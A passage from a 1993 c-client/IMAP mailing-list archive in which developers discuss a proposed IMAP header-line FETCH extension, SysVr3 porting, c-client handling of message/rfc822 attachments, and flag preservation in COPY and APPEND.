ReSent-Date/ReSent-From/ReSent-To header > lines. There is an additional problem with these particular header lines in > that they can not be arbitrarily reordered and retain the same meaning. > > Other headers, such as Newsgroups:, are also perceived as interesting. > > The proposed two new functions are a ``fetch all header lines of this message > whose field names match any in this list'' and ``fetch all header lines of > this message whose names do not match any in this list''. They take an > argument which consists of a list of the field names. The result of these > functions is a text string similar to that from RFC822.HEADER. All header > lines are returned in the original order of the message (note this is a > requirement for useful ReSent information). > > For example (note that line breaks are here only for clarity): > > A001 FETCH 23:30 (ENVELOPE RFC822.HEADER.LINES ("Resent-Date" "Resent-From" > "Resent-To") > > would fetch the envelopes and remail information for messages 23 to 30. > > A001 FETCH 23 RFC822.HEADER.LINES.NOT ("Return-Path" "Received") > > would fetch the header of message 23 without the ``Return-Path'' or > ``Received'' header lines. > > This would become a fundamental API call in c-client, and c-client would > simulate its results if it finds itself talking to an IMAP server that does > not support it. > > Comments please. > From pinedev@shivax2.cac.washington.edu Sun Apr 18 22:10:40 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22077; Sun, 18 Apr 93 22:10:40 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15104; Sun, 18 Apr 93 22:10:34 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA15092; Sun, 18 Apr 93 22:10:23 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA00786; Sun, 18 Apr 93 22:10:16 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA14216; Sun, 18 Apr 93 22:10:09 -0700 Date: Sun, 18 Apr 1993 22:00:17 -0700 (PDT) From: Mark Crispin Subject: Re: proposed IMAP protocol enhancement To: Laurence Lundblade Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sun, 18 Apr 1993 23:10:39 -0400 (EDT), Laurence Lundblade wrote: > Would the functions just return plain unparsed strings? If so, then the > Resent-xxxx: cases would require the client to do address parsing. This > isn't a huge problem since the routines are there in the client anyway. Yes, just plain unparsed strings would be returned. I don't particularly understand why you would want to address-parse the ReSent-* strings (other than perhaps to canonicalize their format), but as you point out the routines you need are in c-client anyway. > It sounds like you have a choice of requesting the header lines that you > want, one at a time, or parsing a big string that comes back. The problem > with requesting the lines one at a time would be an RTT for each one, > right? Yes, that's correct. The real intent is to be able to gobble down the useful header lines in addition to what the envelope gives to you and possibly just blat them to the screen without any processing. > I'm also having trouble coming up with a use for the LINES.NOT function. > Did you have something in mind? That's not to say it should be take out. It's in there primarily for symmetry. I don't think Pine will need it, but I'm fairly confident that if I don't put it in now, someone will be nagging me for it later! :-) Also, it was a basic function in MM's header filters, so there is some precedent for its use. > I'm interested in the References: field for threading news groups and other > mail folders. I think you need it because the full tree of In-Reply-To:'s > might not be in the mailbox being threaded. I would be delighted if Pine solved the threading problem this way! ;-) Yes, enabling this sort of thing without having to go and change IMAP again was one of the motivations. It doesn't rescue me from someday having to deal with cross-post suppression in the .newsrc on the server case though. :-( -- Mark -- From pinedev@shivax2.cac.washington.edu Mon Apr 19 10:47:43 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05382; Mon, 19 Apr 93 10:47:43 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05276; Mon, 19 Apr 93 10:47:36 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05270; Mon, 19 Apr 93 10:47:34 -0700 Received: by po2.andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Mon, 19 Apr 93 13:47:30 EDT Received: via switchmail; Mon, 19 Apr 1993 13:47:29 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 19 Apr 1993 13:46:23 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Mon, 19 Apr 1993 13:46:15 -0400 (EDT) Received: from BatMail.robin.v2.13.CUILIB.3.45.SNAP.NOT.LINKED.hogtown.andrew.cmu.edu.sun4c.411 via MS.5.6.hogtown.andrew.cmu.edu.sun4c_411; Mon, 19 Apr 1993 13:46:00 -0400 (EDT) Message-Id: Date: Mon, 19 Apr 1993 13:46:00 -0400 (EDT) From: John Gardiner Myers To: c-client@cac.washington.edu, imap@cac.washington.edu Subject: Re: proposed IMAP protocol enhancement In-Reply-To: References: Beak: Is I strongly support the FETCH RFC822.HEADER.LINES parameter. I don't see the point of FETCH RFC822.HEADER.LINES.NOT. It could be helpful to a client that wants to avoid presenting "uninteresting" headers like "Received:" to a user, but any client that wants to provide this feature is going to have to deal with a server's not providing that parameter anyway. I suppose it comes down to a question of whether the bandwidth saved would justify the cost of the additional parameter. Would it be possible to consider adding an analogous "HEADER name string" SEARCH criteria without opening the entire Pandora's box that is associated with SEARCH? This extension would help greatly in implementing kill files. -- _.John G. Myers Internet: jgm+@CMU.EDU LoseNet: ...!seismo!ihnp4!wiscvm.wisc.edu!give!up From pinedev@shivax2.cac.washington.edu Mon Apr 19 14:01:34 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12680; Mon, 19 Apr 93 14:01:34 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19403; Mon, 19 Apr 93 14:01:26 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA19397; Mon, 19 Apr 93 14:01:24 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA01277; Mon, 19 Apr 93 14:01:16 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA17018; Mon, 19 Apr 93 14:01:09 -0700 Date: Mon, 19 Apr 1993 13:53:26 -0700 (PDT) From: Mark Crispin Subject: Re: proposed IMAP protocol enhancement To: John Gardiner Myers Cc: c-client Interest List , IMAP Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 19 Apr 1993 13:46:00 -0400 (EDT), John Gardiner Myers wrote: > I don't see the point of FETCH RFC822.HEADER.LINES.NOT. My main concern is to avoid regretting having *not* put it in. I think it is rather trivial to do at the same time. The same arguments against it could also be applied against the RFC822.HEADER.LINES functionality as well, but there is a definite groundswell of support for it (and especially for support in c-client). > Would it be possible to consider adding an analogous "HEADER name > string" SEARCH criteria without opening the entire Pandora's box that > is associated with SEARCH? This extension would help greatly in > implementing kill files. If you can come up with a way of doing this without opening Pandora's box on searching, please feel free to suggest it. I'm totally clueless! From pinedev@shivax2.cac.washington.edu Tue Apr 20 21:00:27 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20045; Tue, 20 Apr 93 21:00:27 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27775; Tue, 20 Apr 93 21:00:20 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from csgrad.cs.vt.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27760; Tue, 20 Apr 93 20:59:49 -0700 Received: by csgrad.cs.vt.edu (5.65/DEC-Ultrix/4.3) id AA19328; Tue, 20 Apr 1993 23:59:39 -0400 Date: Tue, 20 Apr 1993 23:52:45 -0400 (EDT) From: Laurence Lundblade Reply-To: Laurence Lundblade Subject: Re: proposed IMAP protocol enhancement To: Mark Crispin Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Sun, 18 Apr 1993, Mark Crispin wrote: > Yes, just plain unparsed strings would be returned. I don't particularly > understand why you would want to address-parse the ReSent-* strings (other > than perhaps to canonicalize their format), but as you point out the routines > you need are in c-client anyway. OK, The reason I had in mind was canonicalization of their format for presentation to the user -- it's a nice thing to keep all the addresses looking similar. > > It sounds like you have a choice of requesting the header lines that you > > want, one at a time, or parsing a big string that comes back. The problem > > with requesting the lines one at a time would be an RTT for each one, > > right? > > Yes, that's correct. The real intent is to be able to gobble down the useful > header lines in addition to what the envelope gives to you and possibly just > blat them to the screen without any processing. I'm a little concerned about RTT's in a mailer that regularly fetches the Resent-XXX:, References: and other fields (presumably many if not most good IMAP clients will do this). You're probably one to think about this more than I, but wouldn't it at least double the number of RTT's for a lot of the normal operations? Is doubling the RTT's a problem? I know there's probably not much else that can be done without breaking existing IMAP clients. Laurence Lundblade lgl@csgrad.cs.vt.edu or lgl@cac.washington.edu (both forward to same place) Blacksburg, Virginia or Seattle, Washington From pinedev@shivax2.cac.washington.edu Fri Apr 23 03:00:39 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA24400; Fri, 23 Apr 93 03:00:39 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12177; Fri, 23 Apr 93 03:00:26 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12171; Fri, 23 Apr 93 03:00:24 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA07229; Fri, 23 Apr 93 03:00:15 -0700 Date: Fri, 23 Apr 1993 02:56:50 -0700 (PDT) From: Mark Crispin Subject: Re: proposed IMAP protocol enhancement To: Laurence Lundblade Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Tue, 20 Apr 1993 23:52:45 -0400 (EDT), Laurence Lundblade wrote: > I'm a little concerned about RTT's in a mailer that regularly fetches the > Resent-XXX:, References: and other fields (presumably many if not most > good IMAP clients will do this). You're probably one to think about this > more than I, but wouldn't it at least double the number of RTT's for a lot > of the normal operations? Is doubling the RTT's a problem? I know there's > probably not much else that can be done without breaking existing IMAP > clients. That's a good point. I think that when the API is done for this there should be some sort of means to all for it to be fetched it along with something else to avoid the extra RTT. How about fetching it along with section 1 of the body? It'd be a new API function, no matter what. From pinedev@shivax2.cac.washington.edu Fri Apr 23 06:15:35 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26999; Fri, 23 Apr 93 06:15:35 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00451; Fri, 23 Apr 93 06:15:29 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from csgrad.cs.vt.edu by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00439; Fri, 23 Apr 93 06:15:07 -0700 Received: by csgrad.cs.vt.edu (5.65/DEC-Ultrix/4.3) id AA12505; Fri, 23 Apr 1993 09:15:05 -0400 Date: Fri, 23 Apr 1993 09:02:07 -0400 (EDT) From: Laurence Lundblade Subject: Re: proposed IMAP protocol enhancement To: Mark Crispin Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Yes, creating a new call in the API that fetches the extended header along with the 1st body part seems fine. I was going to mention this last time, but I was also thinking about the case when you're fetching envelopes. If we do threading based on the References: field (I'm still investigating whether or not that is the way to go) then you'll want to fetch this extended header information with all the envelopes. Since you can fetch them all with one RTT it's still only doubling, so I guess it's OK. I am a little worried about performance for threading. To do threading one has to fetch the envelopes of all the messages in the mailbox, as well as the References fields. While you're redesigning API's maybe an extended mail_fetchstructure could get the Resent-xxx, References and Newsgroups fields. Those are the ones for which we've got a clear need that I can think of. LL On Fri, 23 Apr 1993, Mark Crispin wrote: > > On Tue, 20 Apr 1993 23:52:45 -0400 (EDT), Laurence Lundblade wrote: > > I'm a little concerned about RTT's in a mailer that regularly fetches the > > Resent-XXX:, References: and other fields (presumably many if not most > > good IMAP clients will do this). You're probably one to think about this > > more than I, but wouldn't it at least double the number of RTT's for a lot > > of the normal operations? Is doubling the RTT's a problem? I know there's > > probably not much else that can be done without breaking existing IMAP > > clients. > > That's a good point. I think that when the API is done for this there should > be some sort of means to all for it to be fetched it along with something else > to avoid the extra RTT. How about fetching it along with section 1 of the > body? > > It'd be a new API function, no matter what. > From pinedev@shivax2.cac.washington.edu Fri Apr 23 06:59:06 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27538; Fri, 23 Apr 93 06:59:06 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00756; Fri, 23 Apr 93 06:59:00 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from info.cren.net by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00744; Fri, 23 Apr 93 06:58:47 -0700 Received: by info.cren.net (4.1/1.0-BITnet NIC); id AA13199; Fri, 23 Apr 93 09:53:55 EDT Date: Fri, 23 Apr 1993 09:47:35 -0400 (EDT) From: Jim Conklin Subject: Re: proposed IMAP protocol enhancement To: Mark Crispin Cc: IMAP Interest List , c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Until a Mail Requirements group defines a real standard for list mail, CREN's RFP for Internet list-management software proposes to use the Resent- headers, so capturing those headers is of considerable importance to us. (It's available from info.cren.net as the files ip-listserv.txt, ip-listserv.ps, or ip-listserv.rtf in the directory /cren-rfp, if you haven't seen it and are interested.) Thanks, Jim Conklin From pinedev@shivax2.cac.washington.edu Wed Apr 28 10:44:35 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA27988; Wed, 28 Apr 93 10:44:35 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29013; Wed, 28 Apr 93 10:44:14 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from eco.twg.com by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA29007; Wed, 28 Apr 93 10:44:10 -0700 Received: from LOCAL.eco.twg.com by eco.twg.com (5.67/ECO.m-$Revision: 2.16 $) id AA15576; Wed, 28 Apr 93 13:44:04 -0400 Message-Id: <9304281744.AA15576@eco.twg.com> Received: from apache.twg.com by apache.twg.com id <9288-0@apache.twg.com>; Wed, 28 Apr 1993 10:44:00 -0700 From: "David Herron" Subject: IMAP on SysVr3 To: c-client Interest List (Non Receipt Notification Requested) (IPM Return Requested) Date: Wed, 28 Apr 93 10:43:58 PDT Sensitivity: Personal Conversion: Prohibited Conversion-With-Loss: Prohibited Encoding: 15 TEXT , 4 TEXT Greetings! I don't want to disrupt the mailing list too much .. but a question came to me of whether IMAP had been ported to System Vr3 (on either 3B2 or Amdahl .. which shouldn't make any difference). The reference implementation is only running on SysVr4 and there are some system calls (ftruncate() being the biggy) which are only on r4 and not r3. At one time I attempted a workaround for the missing ftruncate() but the workaround (copy needed bytes to a second file, then copy back) ended up losing the entire mailbox in some cases (full disk). Has anybody done this ?? David <- David Herron (work) (home) <- <- <- Where su-b-tlety is taken to an art! From pinedev@shivax2.cac.washington.edu Wed Apr 28 13:47:15 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA05185; Wed, 28 Apr 93 13:47:15 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12659; Wed, 28 Apr 93 13:47:01 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA12653; Wed, 28 Apr 93 13:46:59 -0700 Received: from Ikkoku-Kan.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.26 ) id AA01006; Wed, 28 Apr 93 13:46:51 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67c/UW-NDC/Panda Revision: 2.27.MRC ) id AA02517; Wed, 28 Apr 93 13:46:43 -0700 Date: Wed, 28 Apr 1993 13:29:55 -0700 (PDT) From: Mark Crispin Subject: re: IMAP on SysVr3 To: David Herron Cc: c-client Interest List In-Reply-To: <9304281744.AA15576@eco.twg.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII There is a system call in some versions of SysV called chsize() which does the exact same thing as ftruncate(). It doesn't seem to be common though. From pinedev@shivax2.cac.washington.edu Tue May 25 16:36:58 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25606; Tue, 25 May 93 16:36:58 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09240; Tue, 25 May 93 16:36:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09234; Tue, 25 May 93 16:36:45 -0700 Received: from ssrg-ipc-5.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA02639; Tue, 25 May 93 16:36:42 PDT Date: Tue, 25 May 1993 15:53:16 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: message/rfc822 (the other direction) To: c-client@cac.washington.edu Cc: mrc@camis.stanford.edu Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I got the type message/rfc822 stuff working very well on the incoming side (Many thanks Mark, many things got cleaned up as a result). Now I'm having troubles going the other direction (building a multipart for sending which includes an rfc822 message). I don't know the recommended way to do this, so please don't flame if I've overlooked something obvious, or I'm doing something foolish. All I have to go on right now is from looking at Pine code and reading Internal.DOC. Anyway, I put together a new body part and fill in the envelope and type info such just as for any other attachment (which work fine). In this case I have (part->body)->contents.msg.text point at the actual message text (a complete message w/header). This appears to be what Pine does. Other than that, it's processed like any other attachment (which all work correctly). smtp_mail() is called on the top-level body, and any other parts are sent intact, while the rfc822 attachment always arrives devoid of contents. So, any clues as to what I've done wrong here? From pinedev@shivax2.cac.washington.edu Thu May 27 00:27:56 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA07720; Thu, 27 May 93 00:27:56 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20748; Thu, 27 May 93 00:26:46 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA20742; Thu, 27 May 93 00:26:44 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.27.MRC ) id AA10036; Thu, 27 May 93 00:26:42 -0700 Date: Thu, 27 May 1993 00:08:22 -0700 (PDT) From: Mark Crispin Subject: re: message/rfc822 (the other direction) To: Mike_Macgirvin@CAMIS.Stanford.EDU Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi Mike - The answer to your question is that the MESSAGE structure is used by the MIME parser only (note the comment to that effect in mail.h in the definition of the BODY structure at the contents union. In particular, body->contents.msg.text is something that is private to the imap2 driver and MUST NOT be used by main programs. The only things in the MESSAGE structure that you may look at are the env and body pointers (body->contents.msg.env and body->contents.msg.body). The text and offset members are private for various drivers (and I'll probably smash them together in a union too since both are never used simultaneously). In order to send a MESSAGE attachment, you have to put it on body- >contents.text like you would any other type of attachment. See the routine rfc822_encode_body() in rfc822.c for how this works. I will be the first to admit that this is ugly, hideous, and inconsistent and I'll probably be reincarnated as a banana slug for doing it that way, but it was easier to program that way, both in c-client and in the main programs. Probably I'll get reincarnated as a banana slug right next to a hungry garter snake (or a fellow with a salt shaker) for this, but Internal.DOC is way out of date (almost a year old). I don't think there are very many lies in it and certainly no egregious ones, but it is missing quite a bit that was added or changed in the past year. The only 100% reliable document right now is the c-client sources, so when in doubt you should refer to them. I'll probably update Internal.DOC sometime after updating the IMAP2 protocol specification, which is a looming Urgent Problem. -- Mark -- From pinedev@shivax2.cac.washington.edu Thu May 27 08:09:16 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA16227; Thu, 27 May 93 08:09:16 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00321; Thu, 27 May 93 08:09:07 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from CAMIS.Stanford.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA00315; Thu, 27 May 93 08:09:06 -0700 Received: from ssrg-ipc-5.Stanford.EDU by CAMIS.Stanford.EDU (4.1/inc-1.0) id AA12103; Thu, 27 May 93 08:09:04 PDT Date: Thu, 27 May 1993 07:23:14 -0700 (PDT) From: Mike Macgirvin Reply-To: Mike_Macgirvin@CAMIS.Stanford.EDU Subject: re: message/rfc822 (the other direction) To: Mark Crispin Cc: c-client Interest List In-Reply-To: Mark Crispin's message of Thu, 27 May 1993 00:08:22 -0700 (PDT): Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > In order to send a MESSAGE attachment, you have to put it > on body-contents.text like you would any other type of attachment. > See the routine rfc822_encode_body() in rfc822.c for how this > works. Yes, I was tracing through yesterday, and found the reference in rfc822_encode_body(). You might do implementors a small favor by changing: /* case MESSAGE: */ /* here for documentation */ to "TYPEMESSAGE" so it's easier to grep. ;-) (Perhaps you've done this already). I might have found it long ago... > I will be the first to admit that this is ugly, hideous, > and inconsistent and I'll probably be reincarnated as a banana > slug for doing it that way, but it was easier to program that > way, both in c-client and in the main programs. I agree it's ugly. > Probably I'll get reincarnated as a banana slug right > next to a hungry garter snake (or a fellow with a salt shaker) > for this, but Internal.DOC is way out of date (almost a year > old). I don't think there are very many lies in it and > certainly no egregious ones, but it is missing quite a bit > that was added or changed in the past year. The only 100% > reliable document right now is the c-client sources, so when > in doubt you should refer to them. > > I'll probably update Internal.DOC sometime after updating > the IMAP2 protocol specification, which is a looming Urgent > Problem. I try to use the sources when I can, but not yet knowing them intimately, the fact that most function calls are through function pointers (I understand and agree with the reasons for doing this), it makes it difficult to really find out the logic flow without single stepping (no fun). I find that the doc is, as you say, almost always correct; but we're left swinging a bit on actually using the MIME interface. But this isn't a flame. As long as I can work through it somehow... But, I may have uncovered a bug "somewhere" in the client related to the rfc822 attachments. I haven't been able to pinpoint it yet. The scenario is, I build the body (with rfc822 attachment sitting in contents.text) and pass it smtp_mail(). When it returns from that function, the msg.env pointer for the attachment has been altered, i.e. is non-zero, but isn't a valid envelope. This causes seg faults immediately afterward when mail_free_body() is called to de-allocate the entire body structure. I'm punting temporarily; going through the partlist and zeroing envelopes for rfc822 attachments before freeing the body. This could cause me to be re-incarnated as a dodo bird, so I could use a little help. mike From pinedev@shivax2.cac.washington.edu Fri May 28 01:11:45 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA09661; Fri, 28 May 93 01:11:45 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26761; Fri, 28 May 93 01:10:50 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA26755; Fri, 28 May 93 01:10:48 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67c/UW-NDC Revision: 2.27.MRC ) id AA11605; Fri, 28 May 93 01:08:29 -0700 Date: Thu, 27 May 1993 19:26:22 -0700 (PDT) From: Mark Crispin Subject: re: message/rfc822 (the other direction) To: Mike_Macgirvin@CAMIS.Stanford.EDU Cc: c-client Interest List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Mike - I take back what I told you before. Use body->contents.msg.text for attachments of type message. I've changed the rfc822.c source to conform with this. It's cleaner all around. The problem with mail_free_body() was the final straw. If you want to fix it in your own sources without getting the latest version, make that ``case MESSAGE:'' comment be a real ``case TYPEMESSAGE:'' conditional with a break in it (do *not* fall into the default case -- this is a bugfix). Note that the message sending routines do not use the env or body members of the MESSAGE structure; the entire message must appear as a char * string in the text member (msg.text). It turns out that you're the first person who tried to use this code. Pine has its own private code (using disk files), because it has to run on DOS and can't use in-memory buffers the way the c-client code wants to. Please let me know if tonight's version on ftp.cac.washington.edu works any better. -- Mark -- From pinedev@shivax2.cac.washington.edu Sun Jul 11 16:53:15 1993 -0700 Received: from mx2.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA22418; Sun, 11 Jul 93 16:53:15 -0700 Received: by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25800; Sun, 11 Jul 93 16:52:58 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA25794; Sun, 11 Jul 93 16:52:56 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67d/UW-NDC Revision: 2.27.MRC ) id AA03138; Sun, 11 Jul 93 16:52:55 -0700 Date: Sun, 11 Jul 1993 14:20:40 -0700 (PDT) From: Mark Crispin Subject: message state preservation in COPY and APPEND operations To: IMAP Interest List Cc: c-client Interest List Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII BACKGROUND: The issue of message state (flags) preservation in COPY and APPEND operations has come up again. This also relates to the behavior of c-client's mail_copy(), mail_move(), and mail_append() operations. The problem is that when messages are copied into a mailbox by one of these operations, their external state is not preserved. That is, their internal date, user flags (a.k.a. keywords), and system flags (deleted, seen, answered, and flagged) are not preserved. In general, what happens is that the copy receives the current date/time as the internal date, and all NIL user and system flags. In the past, some early versions of c-client made some attempt at preservation, although this has pretty much been eliminated in the name of consistency. An egregious exception is that a copy/move (but not an append) of a message in the bezerk (/usr/spool/mail) format preserves the original date of the message as an implementation artifact. Arguably, this behavior is justified; the copy of the message is a separate instance of the message, and the state could be thought of as being associated with the instance instead of with the message. For example, you can define the internal date as being ``when the message was placed in this mailbox'' as opposed to ``when the user received this message''. However, to end users of applications such as Pine, the loss of seen status when a message is copied from one folder to another is a bug. PROBLEMS WITH PRESERVING STATUS: In the case of user flags (keywords), in c-client they are only implemented in the tenex (mail.txt) format, and as implemented are represented as one of 30 binary states whose interpretation as a flag name is per-user and possibly per-mailbox. In the case of system flags, there is no clear concensus of what is ``right'' and what is not. Generally, the idea of flag preservation has revolved around the seen flag. The answered flag is another candidate for preservation, the flagged (urgent) less so. Generally the deleted flag is felt *not* to be a candidate for preservation. A more serious problem is that there is no mechanism at all for preserving or transmitting flags or internal dates via an IMAP APPEND operation. POINTS TO PONDER: Should c-client attempt to preserve message status when copying messages to other folders? If so, what do we do about nasty things such as keywords (which may not make any sense in the target mailbox) and possible ``should not preserve'' flags such as deleted? Can we explain what gets preserved and what does not get preserved in a fashion that mere mortals can understand? [Remember, the current definition is more or less ``never preserved'']. How do we solve the APPEND problem? It seems that perhaps there needs to be a new form of APPEND that includes internal date and flags arguments. Is this worth doing, considering the interoperability costs it would entail? Discussion solicited. -- Mark -- From pinedev@shivax2.cac.washington.edu Sun Jul 11 18:10:27 1993 -0700 Received: from mx1.cac.washington.edu by shivafs.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA23102; Sun, 11 Jul 93 18:10:27 -0700 Received: by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08776; Sun, 11 Jul 93 18:10:20 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from PO2.ANDREW.CMU.EDU by mx1.cac.washington.edu (5.65/UW-NDC Revision: 2.28 ) id AA08768; Sun, 11 Jul 93 18:10:18 -0700 Received: by po2.andrew.cmu.edu (5.54/3.15) id for c-client@cac.washington.edu; Sun, 11 Jul 93 21:10:14 EDT Received: via switchmail; Sun, 11 Jul 1993 21:10:13 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Sun, 11 Jul 1993 21:09:29 -0400 (EDT) Received: from hogtown.andrew.cmu.edu via qmail ID ; Sun, 11 Jul 1993 21:09:24 -0400 (EDT) Received: from 